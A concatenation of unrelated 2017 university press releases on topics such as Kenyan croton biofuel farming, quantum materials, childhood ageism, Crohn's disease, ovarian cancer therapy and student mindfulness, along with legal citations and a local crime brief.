Mockel S (2017) The terms "project" and "plan" in the Natura 2000 appropriate assessment. In: Mockel S (Ed.) Natura 2000 appropriate assessment and derogation procedure - legal requirements in the light of European and German case-law. Nature Conservation 23: 31-56. https://doi.org/10.3897/natureconservation.23.13601

Mockel S (2017) The assessment of significant effects on the integrity of "Natura 2000" sites under Article 6(2) and 6(3) of the Habitats Directive. In: Mockel S (Ed.) Natura 2000 appropriate assessment and derogation procedure - legal requirements in the light of European and German case-law. Nature Conservation 23: 57-85. https://doi.org/10.3897/natureconservation.23.13602

Mockel S (2017) The European ecological network "Natura 2000" and its derogation procedure to ensure compatibility with competing public interests. In: Mockel S (Ed.) Natura 2000 appropriate assessment and derogation procedure - legal requirements in the light of European and German case-law. Nature Conservation 23: 87-116. https://doi.org/10.3897/natureconservation.23.13603
Small-holder farmers in Kenya have the capacity and desire to play a major role in the scale-up of biofuel production from agroforestry, according to a Penn State forest economist, who led a study in the East African country.

Croton trees -- which seem to grow everywhere in Kenya -- and the oilseeds they produce have the potential to improve rural livelihoods, said Michael Jacobson, professor of forest resources, College of Agricultural Sciences. Through the production of oil for energy and co-products, such as animal feed and organic fertilizer, croton represents an opportunity many poor farmers are eager to take.

That is the conclusion Jacobson reached after surveying hundreds of Kenyan farmers and meeting with them in villages across four counties in the central region of the country. The objective was to assess household preferences for planting and cultivating croton trees for collection and selling of nuts to a growing market. Researchers gathered and analyzed demographic data on income, household size, age, other occupations and village from farmers to determine if those factors influence their preferences.

Farmers were presented with production scenarios and asked to make choices depending on seedling cost, oilseed yield, tree-maturation period, labor needed for seed collection and seed selling price. Results show that almost all households have croton trees on their land and are willing to produce croton nuts. More importantly, Jacobson noted, most would be willing to plant more croton trees.

"Many small farmers, although land constrained, have access to land to plant groves of croton trees if they become sold on the idea," he said. "If they knew that there was going to be a dedicated market for croton, they would certainly add trees to their farm household lands."

Seed price is the most dominant concern cutting across all socio-demographic characteristics, Jacobson pointed out. "Time and labor constraints were significant for some households," he said. "Farmers are more averse to longer tree-maturation periods than non-farmers, while those already collecting seeds for the nascent croton industry are less concerned about the opportunity costs of time and labor than non-collectors."

The research stemmed from the World Agroforestry Centre's examination of the sustainability of the infant croton-tree value chain in Kenya with the intent to support its up-scaling. Initial studies indicated the business holds significant potential for generating additional income and improving local livelihoods, without jeopardizing the environment.

The international organization invited Jacobson to assess whether small farmers could play a significant role in the scale-up of the business.

"To ensure economic sustainability in the long term and scale-up the value chain, a consistent, reliable and economical supply of seeds must be secured to support large bio-refineries," Jacobson said.

"Croton offers a significant opportunity in East Africa -- it can play an important role in providing income opportunities and meet the needs of poor farmers, maybe even lifting them out of poverty. I am not saying that croton production and biofuel will save Africa, but I know others have."

Findings of the research, which were published in late November in Forest Policy and Economics, provide guidance for the development of a croton value chain that Jacobson believes biofuels entrepreneurs will use in their business plans.

"If I were an entrepreneur in East Africa and I wanted to start a croton business, I would use this information to determine where best to locate and how to provide incentives for production," he said. "The statistical analysis we performed is likely to lead to further development of the croton biofuels industry in Kenya. It gives credence to the opportunity and provides critical information to entrepreneurs to better understand farmer characteristics."

Development of the croton biofuel industry has been hampered by falling prices of diesel fuel. One company that has been trying to develop the market and produce croton biofuel, Eco Fuels Kenya, is struggling to find support. Jacobson has worked with that company's management to help them understand ecological conditions that affect the planting of croton and the profit potential for byproducts.

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Also involved in the research were Yau-Huo Shr, a graduate student in agricultural economics at Penn State when the research was conducted; Floris Dalemans, University of Leuven, Belgium; and Christine Magaju and Rodrigo Ciannella, World Agroforestry Centre, Kenya.

The World Agroforestry Centre and the International Fund for Agricultural Development, through the Program for the Development of Alternative Biofuel Crops supported this work.
Coordinating the stick of regulation with the carrot of technical assistance may help small companies perform better environmentally and economically, according to a team of researchers.

The researchers found in a study that when punitive measures from regulatory agencies were followed by help from business support organizations, companies were more likely to stick to voluntary improvement projects than when these projects were followed by punitive regulatory actions, said Suvrat S. Dhanorkar, assistant professor of supply change management, Penn State.

He added that increasing coordination between regulatory agencies, for example, the Pennsylvania Department of Environmental Protection, and business support organizations, such as the Pennsylvania Technical Assistance Program -- PennTAP -- in Pennsylvania and Minnesota Technical Assistance Program -- MTAP -- in Minnesota, could help small and mid-sized businesses not only stay compliant, but continue to grow.

"Often experts who are making recommendations for these business support organizations will say that once they meet with a business owner and discuss improvements -- making the factory more energy efficient, for example -- they'll make good initial progress," said Dhanorkar. "But, somewhere down the line, they get sidetracked -- and one of these major events that can sidetrack them is a punitive action from a regulatory agency, which might or might not be related to the improvement that they've undertaken."

According to the researchers, who report their findings in a recent issue of Management Science, business support organizations offer recommendations and programs, including energy audits and pollution prevention education, on how to improve efficiency and increase environmental compliance. Regulatory agencies usually force mandatory changes through fines and inspections.

"These are not big companies, so they're not the Microsofts or GEs, and don't have a lot of resources, so they are in dire need of these business support programs and this type of expertise," said Dhanorkar, who also worked with Enno Siemsen, Procter & Gamble Bascom Professor of Business, University of Wisconsin, and Kevin Linderman, Curtis L. Carlson Professor in Supply Chain and Operations, University of Minnesota.

The researchers suggest that the shock of intervention from the regulatory agency can halt much of a small or mid-sized companies' voluntary efforts to make needed economic and environmental improvements. Dhanorkar added that follow-up regulatory action could halt progress on recommended improvement projects even though the regulatory sanctions are unrelated to the supportive actions.

"For example, a regulatory agency may issue punitive damages against a company's water use, but the supportive agency is trying to help the company save on electricity," he said.

According to Dhanorkar, the effect may work best when there is a clear delineation between the regulatory and supportive agencies.

"In other words, it may send a mixed message if you have one person giving a business both a fine and advice to help a business," he added.

The researchers add this model could be applied to other areas where businesses, support organizations, and regulatory agencies interact, such as in consumer protection and food and safety areas, said Dhanorkar.

"There might be benefits to both of these approaches -- regulation and support -- coexisting," said Dhanorkar. "In fact, some agencies, like the Consumer Product Safety Commission and the Food and Drug Administration, might or might not have both shades of regulation and support. However, based on our findings and some of our discussions with these agencies, what we realized is it's important to keep both of those functions separate. If the same person is coming in and giving both a sanction and a recommendation, managers might get confused."

The researchers analyzed 1,200 environmental improvement recommendations made by experts from MTAP to help state businesses from 2000 to 2012. The data included details on the improvement, the implementation timeline, and information on the facility. In addition, the researchers used inspection and sanction data from the Minnesota Pollution Control Agency since 1999.

After matching the data sets, the researchers had information on 1,089 environmental improvement projects taken at 248 facilities. A total of 77 percent were manufacturing facilities, 12 percent were healthcare organizations, and 11 percent were retail businesses.

According to Dhanorkar, future research could look at the complementary effects between punitive and supportive tactics and how policy approaches, such as self-regulation and information disclosure, could be coordinated.

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U.S. and European physicists searching for an explanation for high-temperature superconductivity were surprised when their theoretical model pointed to the existence of a never-before-seen material in a different realm of physics: topological quantum materials.

In a new study due this week in the Early Edition of the Proceedings of the National Academy of Sciences (PNAS), Rice University theoretical physicist Qimiao Si and colleagues at the Rice Center for Quantum Materials in Houston and the Vienna University of Technology in Austria make predictions that could help experimental physicists create what the authors have coined a "Weyl-Kondo semimetal," a quantum material with an assorted collection of properties seen in disparate materials like topological insulators, heavy fermion metals and high-temperature superconductors.

All these materials fall under the heading of "quantum materials," ceramics, layered composites and other materials whose electromagnetic behavior cannot be explained by classical physics. In the words of noted science writer Philip Ball, quantum materials are those in which "the quantum aspects assert themselves tenaciously, and the only way to fully understand how the material behaves is to keep the quantum in view."

These quirky behaviors arise only at very cold temperatures, where they cannot be masked by the overwhelming forces of thermal energy. The most celebrated quantum materials are the high-temperature superconductors discovered in the 1980s, so named for their ability to conduct electrical current without resistance at temperatures well above those of traditional superconductors. Another classic example is the heavy fermion materials discovered in the late 1970s. In these, electrons appear to be effectively hundreds of times more massive than normal and, equally unusual, the effective electron mass seems to vary strongly as temperature changes.

A generation of theoretical physicists dedicated their careers to explaining the workings of quantum materials. Si's work focuses on the collective behavior that emerges in electronic materials undergoing transformation from one quantum state to another. It is near such points of transformation, or "quantum critical points," that phenomena like high-temperature superconductivity occur.

In 2001, Si and colleagues offered a new theory that explained how electronic fluctuations between two entirely different quantum states give rise to such behaviors at quantum critical points. The theory has allowed Si and colleagues to make a host of predictions about the quantum behavior that will arise in particular types of material as the materials are cooled to the quantum critical point. In 2014, Si was tapped to lead the Rice Center for Quantum Materials (RCQM), a universitywide effort that draws upon the work in more than a dozen Rice groups across the schools of Natural Sciences and Engineering.

"We have been absolutely fascinated by strongly correlated materials," Si said of his own group. "Collective behavior such as quantum criticality and high-temperature superconductivity have always been the center of our attention.

"Over the past two years, several experimental groups have reported nontrivial topology in solid-state conducting materials, but it's an open question whether there are conducting states that have nontrivial topology and are, at the same time, strongly interacting. No such materials have been realized, but there's a lot of interest in looking for them."

In the PNAS study, Si said he and postdoctoral fellow Hsin-Hua Lai and graduate student Sarah Grefe were working with a set of models to examine questions related to quantum criticality and high-temperature superconductors.

"We really just stumbled upon a model in which, suddenly, we found that the mass had gone from like 1,000 times the mass of an electron to zero," Lai said. A signature characteristic of "Weyl fermions," elusive quantum particles first proposed by Hermann Weyl more than 80 years ago, is that they have zero mass.

Experimentalists have only recently provided evidence for the existence of solid-state conducting materials that qualify as hosting Weyl fermions. These materials share some of the characteristics of topological insulators, a type of quantum material that gained international attention following the awarding of the 2016 Nobel Prize in Physics, but are quite distinct in other ways. Traditionally, topological materials have only been defined in insulators, and electricity would flow only on the materials' surface and not through the bulk. The topological conductors, however, carry electricity in the bulk, thanks to the Weyl fermions.

"These topological conductors can be described within the textbook framework of independent electrons," Grefe said. "The central question, as challenging as it is fascinating, is this: What happens when the electron correlations are strong?"

In examining their work more closely, Si, Lai and Grefe demonstrated that their zero-mass fermions are intimately tied to both strong electron correlations and nontrivial topology.

"We quickly realized that these are Weyl fermions that originate from a quintessential strong-correlation physics called the Kondo effect," Grefe said. "We therefore dubbed this state a Weyl-Kondo semimetal."

The Kondo effect captures how a band of electrons, which are so strongly correlated with each other that they act as localized spins, behave in a background of conduction electrons.

Together with study co-author Silke Paschen, an experimental physicist at Vienna University of Technology who was spending six months at RCQM as a visiting professor when the discovery was made, Si, Lai and Grefe sought to identify the unique experimental signatures of the Weyl-Kondo semimetal.

"We found that the Kondo effect makes the Weyl fermions move with a velocity that differs by several orders of magnitude from the noninteracting case," Lai said. "This allowed us to predict that the electron correlations will enhance a particular quantity in the temperature dependence of the specific heat by a mind-boggling factor of a billion."

Si said this effect is huge, even by the standard of strongly correlated electron systems, and the work points to a larger principle.

"The Kondo effect in these kinds of materials occurs in the vicinity of magnetic order," Si said. "Our previous work has shown that high-temperature superconductivity tends to develop in systems on the verge of magnetic order, and this study suggests that some strongly correlated topological states develop there as well.

"This may well represent a design principle that will guide the search for a wide variety of strongly correlated topological states," he said.

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The research was supported by the National Science Foundation, the Army Research Office, the Welch Foundation, RCQM and the Austrian Science Fund.

The DOI of the PNAS paper is: 10.1073/pnas.1715851115

A copy of the paper is available at: http://www.pnas.org/cgi/doi/10.1073/pnas.1715851115

More information about RCQM is available at: http://rcqm.rice.edu/

Related research from Rice:

Rules for superconductivity mirrored in 'excitonic insulator' -- Dec. 7, 2017 http://news.rice.edu/2017/12/07/rules-for-superconductivity-mirrored-in-excitonic-insulator/

Entropy landscape sheds light on quantum mystery -- May 11, 2017 http://news.rice.edu/2017/05/12/entropy-landscape-sheds-light-on-quantum-mystery/

Physicists probe magnetic fluctuations in heavy fermion -- June 29, 2016 http://news.rice.edu/2016/09/29/physicists-probe-magnetic-fluctuations-in-heavy-fermion/

Evidence mounts for quantum criticality theory -- Jan. 30, 2015 http://news.rice.edu/2015/01/30/evidence-mounts-for-quantum-criticality-theory/

Rice launches Center for Quantum Materials -- Sept. 30, 2014 http://news.rice.edu/2014/09/30/rice-launches-center-for-quantum-materials/

Study finds physical link to strange electronic behavior -- July 31, 2014 http://news.rice.edu/2014/07/31/study-finds-physical-link-to-strange-electronic-behavior-2/

Quantum criticality observed in new class of materials -- June 4, 2014 http://news.rice.edu/2014/06/04/quantum-criticality-observed-in-new-class-of-materials/

This release can be found online at news.rice.edu.

Follow Rice News and Media Relations via Twitter @RiceUNews

Located on a 300-acre forested campus in Houston, Rice University is consistently ranked among the nation's top 20 universities by U.S. News & World Report. Rice has highly respected schools of Architecture, Business, Continuing Studies, Engineering, Humanities, Music, Natural Sciences and Social Sciences and is home to the Baker Institute for Public Policy. With 3,879 undergraduates and 2,861 graduate students, Rice's undergraduate student-to-faculty ratio is 6-to-1. Its residential college system builds close-knit communities and lifelong friendships, just one reason why Rice is ranked No. 1 for quality of life and for lots of race/class interaction and No. 2 for happiest students by the Princeton Review. Rice is also rated as a best value among private universities by Kiplinger's Personal Finance. To read "What they're saying about Rice," go to http://tinyurl.com/RiceUniversityoverview.
Ageism - stereotypes that lead to prejudice and discrimination against older people - occurs frequently in young adults and can be seen in children as young as 3. A new study from Belgium sought to identify the factors underlying this form of discrimination. It found that ageist stereotypes in children and adolescents generally decrease around ages 10 to 12, and that young people who say they have very good contact with their grandparents have the lowest levels of ageism.

The study, conducted by researchers at the University of Liege in Belgium, appears in the journal Child Development.

"The most important factor associated with ageist stereotypes was poor quality of contact with grandparents," explains Allison Flamion, a PhD student in psychology at the University of Liege, who led the research team. "We asked children to describe how they felt about seeing their grandparents. Those who felt unhappy were designated as having poor quality of contact. When it came to ageist views, we found that quality of contact mattered much more than frequency."

To assess aspects of ageism, the researchers studied 1,151 children and adolescents ages 7 to 16 in the French-speaking part of Belgium; the youths were primarily White, from urban and rural areas, and from a range of socioeconomic statuses. In questionnaires, the researchers asked the youths their thoughts on getting old and about the elderly. They also collected information about the health of the youths' grandparents, how often the two generations met, and how the young people felt about their relationships with their grandparents.

In general, views on the elderly expressed by the children and adolescents were neutral or positive. Girls had slightly more positive views than boys; girls also tended to view their own aging more favorably, the researchers note.

Ageist stereotypes fluctuated with the ages of the youths studied, with 7- to 9-year-olds expressing the most prejudice and 10- to 12-year-olds expressing the least, the study found. This finding mirrors other forms of discrimination (e.g., those related to ethnicity or gender) and is in line with cognitive-developmental theories: For example, acquiring perspective-taking skills around age 10 reduces previous stereotypes. With ageism, prejudice seemed to reappear when the participants in this study reached their teen years: 13- to 16-year-olds also had high levels of ageism.

Grandparents' health was also a factor in youths' views on ageism: Young people with grandparents in poor health were more likely to hold ageist views than youths with grandparents in better health.

The most important factor influencing youths' views of the elderly was the quality of their contact with their grandparents. The study characterized youths' contact as good or very good when they said they felt happy or very happy (respectively) when they saw and shared with their grandparents. Those who described their contact with grandparents as good or very good had more favorable feelings toward the elderly than those who described the contact less positively. Furthermore, the benefit of meaningful contact occurred in both children with the lowest level of ageism and those with the highest level, and boys seemed to benefit more than girls from high-quality contact.

Frequency of contact, while mattering considerably less, also played a role: 10- to 12-year-olds who saw their grandparents at least once a week had the most favorable views toward the elderly, likely because of the multiplying effect of frequency with quality, the researchers suggest.

"For many children, grandparents are their first and most frequent contact with older adults," notes Stephane Adam, professor of psychology at the University of Liege, who coauthored the study. "Our findings point to the potential of grandparents to be part of intergenerational programs designed to prevent ageism. Next, we hope to explore what makes contacts with grandparents more rewarding for their grandchildren as well as the effects on children of living with or caring for their grandparents."

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The research was supported by a grant in human sciences from the University of Liege and the Fund for Scientific Research Belgium.

Summarized from Child Development, Impact of Contact with Grandparents on Children's and Adolescents' Views on the Elderly by Flamion, A, Missotten, P, Marquet, M, and Adam, S (University of Liege). Copyright 2017 The Society for Research in Child Development, Inc. All rights reserved.
JUPITER, Fla. - Dec. 19, 2017 - This holiday season, millions of people will gather at airports ready to board planes for destinations around the world. Depending on the environment at their destination, their suitcases may be filled with sunscreen and bathing suits, or heavy parkas and mittens.

Now, a new study from the lab of biologist Mark Sundrud, Ph.D., on the Florida campus of The Scripps Research Institute (TSRI), provides evidence that circulating immune cells may similarly adapt when they enter different tissues, which are like different environments in our bodies. Moreover, the researchers found that inability to adapt may lead to disease.

The scientists hope understanding how immune cells adapt as they enter different tissues will spur the design of better, more specific, medicines.

"We need therapeutic strategies that specifically target chronic inflammation in the gut, skin or other tissues," Sundrud says, "instead of just generally suppressing the entire immune system."

The research was published Dec. 19, 2017, in the journal Immunity.

Sundrud's laboratory is working to understand the characteristics and functions of TH17 cells, a subset of immune cells that circulate throughout the body. These cells protect many types of tissues from infection, but they can also promote chronic inflammatory conditions like Crohn's disease, which specifically targets the intestinal tract.

Knowing TH17 cells need to function in a variety of tissue environments throughout the body, Sundrud's team wondered if and how these cells might use different tools to behave normally in one environment--or tissue--than they'd use in another. Perhaps activating one gene could be useful in the lungs, while activating another would be useful in the gut, the same way you might bring a bathing suit on a trip to Florida and a jacket if you're headed to Canada.

This study built on previous research from the Sundrud lab, which showed that when TH17 cells entered the intestine in human tissue samples, they increased the expression of a gene called MDR1.

But MDR1 is only known to transport chemotherapeutic drugs out of tumor cells, so why would it be expressed in immune cells in the gut?

The new study suggests that MDR1 is responsible for protecting TH17 cells in the gut from bile acids--detergent-like molecules produced by the liver that break down fats. Normally, the liver secretes bile acids after we eat to aid digestion. As food moves through the digestive tract, these acids are reabsorbed when they reach the ileum--the final portion of the small intestine--and the site of ileal Crohn's disease, the most common form of Crohn's.

"T cells only see high levels of bile acids in the ileum. They know this, and they adapt once they get there," says Sundrud.

This discovery led the researchers to identify a mechanism where ileal Crohn's disease appears to be induced by bile acids when T cell adaptation does not occur the way it should.

The team used a genetically modified mouse model to observe the expression and function of MDR1 in mice. They found that the gene's expression increased when the cells entered the ileum. But, in mice where the gene couldn't be activated in the gut, TH17 cells that were exposed to bile acids suffered severe oxidative stress. This stress caused the TH17 cells to become overactive, leading to Crohn's disease-like intestinal inflammation in mice.

Using bile acid sequestrants, an FDA-approved class of drugs used in transplant patients that absorb bile acids like a sponge, scientists were able to restore normal T cell function in the ileum and attenuate Crohn's disease in mice.

To establish the relevance of their findings, the team tested blood samples from healthy humans, as well as those with a variety of inflammatory bowel diseases, including Crohn's. They found a subset of patients with ileal Crohn's disease had severely impaired MDR1 expression.

Not only does this suggest that the cause of Crohn's disease in these patients may be oxidative stress due to dysfunctional MDR1, but that for the subset of patients with this dysfunction, bile acid sequestrants may be an effective treatment. Together with his collaborators, Sundrud hopes to fund a clinical study to test exactly that.

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In addition to Sundrud, co-authors of the study were Wei Cao, Mei Lan Chen, Amber Delmas, Erumbi S. Rangarajan, Kelly McKevitt, Cody B. Jackson, Tina Izard and Gogce Crynen, all of The Scripps Research Institute; Hisako Kayama and Kyoshi Takeda of Osaka University; Amy Sun, Sergei B. Koralov and Sang Yong Kim of New York University Medical Center; Amanda P. Beck of MD Anderson Cancer Center; Angelos Oikonomopoulos, Precious N. Lacey and Daniel W. Hommes of University of California, Los Angeles; Gustavo Martinez of Rosalind Franklin University of Medicine and Science; Robin G. Lorenz of University of Alabama; Alex Rodriguez-Palacios and Fabio Cominelli of Case Western Reserve University; and Mari T. Abreu of the University of Miami.

This work was funded by TSRI Florida via the State of Florida, the National Institute of Allergy and Infectious Diseases (grant R21AI119728.), the National Institute of Diabetes and Digestive and Kidney Diseases (5R01DK099076-07 andP01DK071176), the Crohn's and Colitis Foundation of America (#422515, #3786 and #26971), the Broad Medical Foundation (#IBD-0389R), and the Core Research for Evolutional Science and Technology, Japan Science and Technology Agency; the Ministry of Education, Culture, Sports, Science and Technology; and the Ministry of Health, Labour and Welfare, a Lotte Research Promotion Grant and the Nagao Memorial Fund.

Mari T. Abreu and Daniel W. Hommes have received research grants and consultancy fees from: AbbVie, Amgen, Asana Medical, Inc., Ferring Pharmaceuticals, Focus Medical Communications, Genentech, Genova Diagnostics, GI Health Foundation, Gilead, GSK Holding Americas, Inc., Hospira, Inc., Janssen, Mucosal Health Board, Pfizer, Prometheus Laboratories, Prova Education, Inc., Sanofi Aventis, Shire, Takeda, UCB and WebMD Health.

About The Scripps Research Institute

The Scripps Research Institute (TSRI) is one of the world's largest independent, not-for-profit organizations focusing on research in the biomedical sciences. TSRI is internationally recognized for its contributions to science and health, including its role in laying the foundation for new treatments for cancer, rheumatoid arthritis, hemophilia, and other diseases. An institution that evolved from the Scripps Metabolic Clinic founded by philanthropist Ellen Browning Scripps in 1924, the institute now employs more than 2,500 people on its campuses in La Jolla, CA, and Jupiter, FL, where its renowned scientists--including two Nobel laureates and 20 members of the National Academies of Science, Engineering or Medicine--work toward their next discoveries. The institute's graduate program, which awards PhD degrees in biology and chemistry, ranks among the top ten of its kind in the nation. In October 2016, TSRI announced a strategic affiliation with the California Institute for Biomedical Research (Calibr), representing a renewed commitment to the discovery and development of new medicines to address unmet medical needs. For more information, see http://www.scripps.edu.
When used in combination with recently approved PARP inhibitors, BET inhibitors extend their clinical application to a larger group of patients, regardless of the BRCA mutational status

PHILADELPHIA -- (Dec. 19, 2017) -- Researchers at The Wistar Institute have found that combining PARP inhibitors, recently approved for the treatment of BRCA-mutant ovarian cancer, with another small molecule inhibitor was effective to treat ovarian cancers without BRCA1 and BRCA2 gene mutations. This study was published online in Cell Reports.

Ovarian cancer is the most lethal gynecological malignancy and therapeutic options remain limited. Mutations in the BRCA1 and BRCA2 genes, which function in the repair of DNA damage and in maintaining the stability of the genetic material, are common and have a causative role in the development of this type of cancer. Cells with a defect in these genes have non-functional BRCA proteins and cannot properly repair DNA damage. As a result, they are more likely to develop further genetic alterations that can lead to cancer.

"By blocking another member of the DNA repair pathway, PARP inhibitors are an effective strategy to kill BRCA-mutant cancer cells and have recently been approved for the treatment of ovarian cancer, but how to expand their utilities into BRCA-proficient cancers remained to be explored," said Rugang Zhang, Ph.D., deputy director of The Wistar Institute Cancer Center, professor and co-program leader of the Gene Expression and Regulation Program. "We identified an effective strategy to sensitize BRCA-proficient ovarian cancers to PARP inhibitors and extend their clinical efficacy to a larger group of patients."

Previous research has shown that, in the absence of BRCA mutations, simultaneous inhibition of other DNA repair proteins, such as WEE and TOPBP1, can sensitize cancer cells to PARP inhibitors. Zhang and colleagues found that blocking the activity of the BRD4 transcriptional regulator with a small molecule inhibitor resulted in reduced expression of DNA repair proteins, including WEE and TOPBP1. Importantly, this resulted in enhanced sensitivity of BRCA-proficient ovarian cancer cells to a PARP inhibitor, as the combination of both inhibitors was able to induce cell death.

Mechanistically, inhibition of BRD4, which belongs to the BET family of proteins, allowed cells with DNA damage caused by the PARP inhibitor to proceed into cell division without repairing the damage, thus resulting in cell death by a phenomenon called mitotic catastrophe.

The team tested the combination of PARP and BET inhibitors in vivo in a mouse model of ovarian cancer with normal BRCA1 and BRCA2. While neither of the two inhibitors alone had an effect on tumor growth, the combination of the two resulted in significant reduction of tumor burden without any overt toxicity.

"The combined use of these inhibitors can be potentially applied to a broad spectrum of malignancies regardless of the BRCA genes mutational status," said Sergey Karakashev, Ph.D., co-first author of the study and a postdoctoral researcher in the Zhang Lab. "Therefore, we anticipate that our work will have far-reaching applications in the development of novel combinatory cancer therapeutics."

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This work was supported by National Institutes of Health/National Cancer Institute grants R01 CA160331, R01 CA163377, R01 CA202919, and K99CA194318; Department of Defense grants OC140632P1 and OC150446, and a grant from the Ovarian Cancer Research Fund Alliance. Core support for The Wistar Institute was provided by the Cancer Center Support Grant P30 CA010815.

Hengrui Zhu and Yuhki Yokoyama from The Wistar Institute contributed equally to this study as co-first authors. Other co-authors from Wistar include: Bo Zhao, Nail Fatkhutdinov, Andrew V. Kossenkov, David Speicher and Benjamin G. Bitler. Other co-authors include: Andrew J. Wilson from Vanderbilt University Medical Center, Fiona Simpkins from University of Pennsylvania, Dineo Khabele from The University of Kansas School of Medicine.

The Wistar Institute is an international leader in biomedical research with special expertise in cancer research and vaccine development. Founded in 1892 as the first independent nonprofit biomedical research institute in the United States, Wistar has held the prestigious Cancer Center designation from the National Cancer Institute since 1972. The Institute works actively to ensure that research advances move from the laboratory to the clinic as quickly as possible. wistar.org.
RACINE  A Racine woman who allegedly took someone elses vehicle for a joyride is facing charges.

Rachel R. Barron, 32, of the 1300 block of Orange Street, is charged with operating a motor vehicle without the owners consent  a felony.

According to the criminal complaint:

On Friday, an officer was dispatched to BP gas station, 1975 State St., after it was reported that a vehicle has been stolen.

The complainant told officers she parked her Chevy Equinox south of the gas pumps and left her car running before entering the gas station. While inside, the complainant saw a woman get into her vehicle and drive away.

Officers found the car at the intersection of Maple and Jones streets. The driver of the vehicle reportedly matched the description the complainant had provided and was identified as Barron.

Surveillance footage from the gas station also reportedly shows Barron enter the complainants vehicle and drive away.

A preliminary hearing is set for Barron on Jan. 3 at the county Law Enforcement Center, 717 Wisconsin Ave. She remained in custody as of Monday night.
RIVERSIDE, Calif. - The lessons from childhood storybooks are decidedly different in China and the United States, and align with the lessons the respective countries impart in the classroom, UC Riverside research finds.

There is a widely held perception - and some research to affirm it - that East Asian schools outperform schools in North America. A recent study published by UC Riverside psychologist Cecilia Cheung skirts the link between storybooks and school performance, but asserts that the lessons taught in Chinese schools could start early.

"The values that are commonly conveyed in Chinese (vs. U.S.) storybooks include an orientation toward achievement, respect for others - particularly the elderly - humility, and the importance of enduring hardship," Cheung said. "In the U.S. storybooks, protagonists are often portrayed as having unique interest and strength in a certain domain, and the themes tend to be uplifting."

For her study, published in the Journal of Cross-Cultural Psychology, Cheung compared storybooks in the U.S. and Mexico with those in China.

She chose 380 storybooks recommended by education ministries in the respective countries, for children aged 3 to 11. The study considered three core aspects of learning-related qualities: beliefs (views about the nature of intelligence), motivated cognitions (achievement, determination), and behaviors (effort, overcoming obstacles).

A representative Chinese storybook is "A Cat That Eats Letters." In the book, a cat has an appetite for sloppy letters. Whenever children write a letter that is too large, too small, too slanted, or with missing strokes, the cat eats the letters. The only way to stop this runaway letter-eating is for the children to write carefully, and to practice every day. This leads to a hungry cat, because the children have all become skilled writers. (Not to fear, the compassionate children then intentionally write some sloppy letters to feed the cat).

A more typical U.S.-Mexico storybook formula is represented by "The Jar of Happiness," in which a little girl attempts to make a potion of happiness in a jar, then loses the jar. The happy ending comes courtesy of the girl's realization that happiness doesn't come from a jar, but rather from good friends - including those who will cheer her up when she loses a jar.

To a large extent, Cheung and her team found the Chinese storybooks celebrated the behaviors associated with learning and hard work. Somewhat to their surprise, they found U.S. and Mexican storybooks had a shared emphasis on self-esteem and social competence.

Past studies have affirmed the important role of parents in children's scholastic achievement, Cheung said. But few have considered the role of "cultural artifacts," such as storybooks.

Cheung argues that storybooks play a key role in establishing the values that can help determine scholastic success. Referencing past research, Cheung said it is "conceivable that exposure to reading materials that highlight the importance of learning-related qualities, such as effort and perseverance, may lead children to value such qualities to a greater extent."

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Cheung was joined in the research by UC Riverside graduate students Jorge A. Monroy and Danielle E. Delany. Funding was provided from the University of California Institute for Mexico and the United States.
Mindfulness training can help support students at risk of mental health problems, concludes a randomised controlled trial carried out by researchers at the University of Cambridge.

While the prevalence of anxiety and depression among first year undergraduates is lower than the general population, it increases to overtake this during their second year. The number of students accessing counselling services in the UK grew by 50% from 2010 to 2015, surpassing the growth in the number of students during the same period. There is little consensus as to whether students are suffering more mental disorders, are less resilient than in the past or whether there is less stigma attached to accessing support. Regardless, mental health support services for students are becoming stretched.

Recent years have seen increasing interest in mindfulness, a means of training attention for the purpose of mental wellbeing based on the practice of meditation. There is evidence that mindfulness training can improve symptoms of common mental health issues such as anxiety and depression. However, there is little robust evidence on the effectiveness of mindfulness training in preventing such problems in university students.

"Given the increasing demands on student mental health services, we wanted to see whether mindfulness could help students develop preventative coping strategies," says Geraldine Dufour Head of the University of Cambridge's Counselling Service. Dufour is one of the authors of a study that set out to test the effectiveness of mindfulness - the results are published today in The Lancet Public Health.

In total, 616 students took part in the study and were randomised across two groups. Both groups were offered access to comprehensive centralised support at the University of Cambridge Counselling Service in addition to support available from the university and its colleges, and from health services including the National Health Service.

Half of the cohort (309 students) were also offered the Mindfulness Skills for Students course. This consisted of eight, weekly, face-to-face, group-based sessions based on the course book Mindfulness: A Practical Guide to Finding Peace in a Frantic World, adapted for university students. Students were encouraged to also practice at home, starting at eight minute meditations, and increasing to about 15-25 minutes per day, as well as other mindfulness practices such as a mindful walking and mindful eating. Students in the other half of the cohort were offered their mindfulness training the following year.

The researchers assessed the impact of the mindfulness training on stress ('psychological distress') during the main, annual examination period in May and June 2016, the most stressful weeks for most students. They measured this using the CORE-OM, a generic assessment used in many counselling services.

The mindfulness course led to lower distress scores after the course and during the exam term compared with students who only received the usual support. Mindfulness participants were a third less likely than other participants to have scores above a threshold commonly seen as meriting mental health support. Distress scores for the mindfulness group during exam time fell below their baselines levels (as measured at the start of the study, before exam time), whereas the students who received the standard support became increasingly stressed as the academic year progressed.

The researchers also looked at other measures, such as self-reported wellbeing. They found that mindfulness training improved wellbeing during the exam period when compared with the usual support.

"This is, to the best of our knowledge, the most robust study to date to assess mindfulness training for students, and backs up previous studies that suggest it can improve mental health and wellbeing during stressful periods," says Dr Julieta Galante from the Department of Psychiatry at Cambridge, who led the study.

"Students who had been practising mindfulness had distress scores lower than their baseline levels even during exam time, which suggests that mindfulness helps build resilience against stress."

Professor Peter Jones, also from the Department of Psychiatry, adds: "The evidence is mounting that mindfulness training can help people cope with accumulative stress. While these benefits may be similar to some other preventative methods, mindfulness could be a useful addition to the interventions already delivered by university counselling services. It appears to be popular, feasible, acceptable and without stigma."

The team also looked at whether mindfulness had any effect of examination results; however, their findings proved inconclusive.

The research was supported by the University of Cambridge and the National Institute for Health (NIHR) Collaboration for Leadership in Applied Health Research and Care East of England, hosted by Cambridgeshire and Peterborough NHS Foundation Trust.

Researcher profile: Dr Julieta Galante

Dr Julieta Galante is a research associate in the Department of Psychiatry. Her interests lie in mental health promotion, particularly the effects of meditation on mental health. She hopes to contribute to the growing number of approaches to preventing mental health problems that do not rely on medication.

"What fascinates me is the idea that you could potentially train your mind to improve your wellbeing and develop yourself as a person," she says. "It's not the academic type of mind-training -meditation training is more like embarking on a deep inner-exploration."

Galante's research involves studying large numbers of people in real-world settings, such as busy students revising for their exams. It's a very complex research field, she says: there are many factors, social, psychological and biological, that contribute to an individual's mental health.

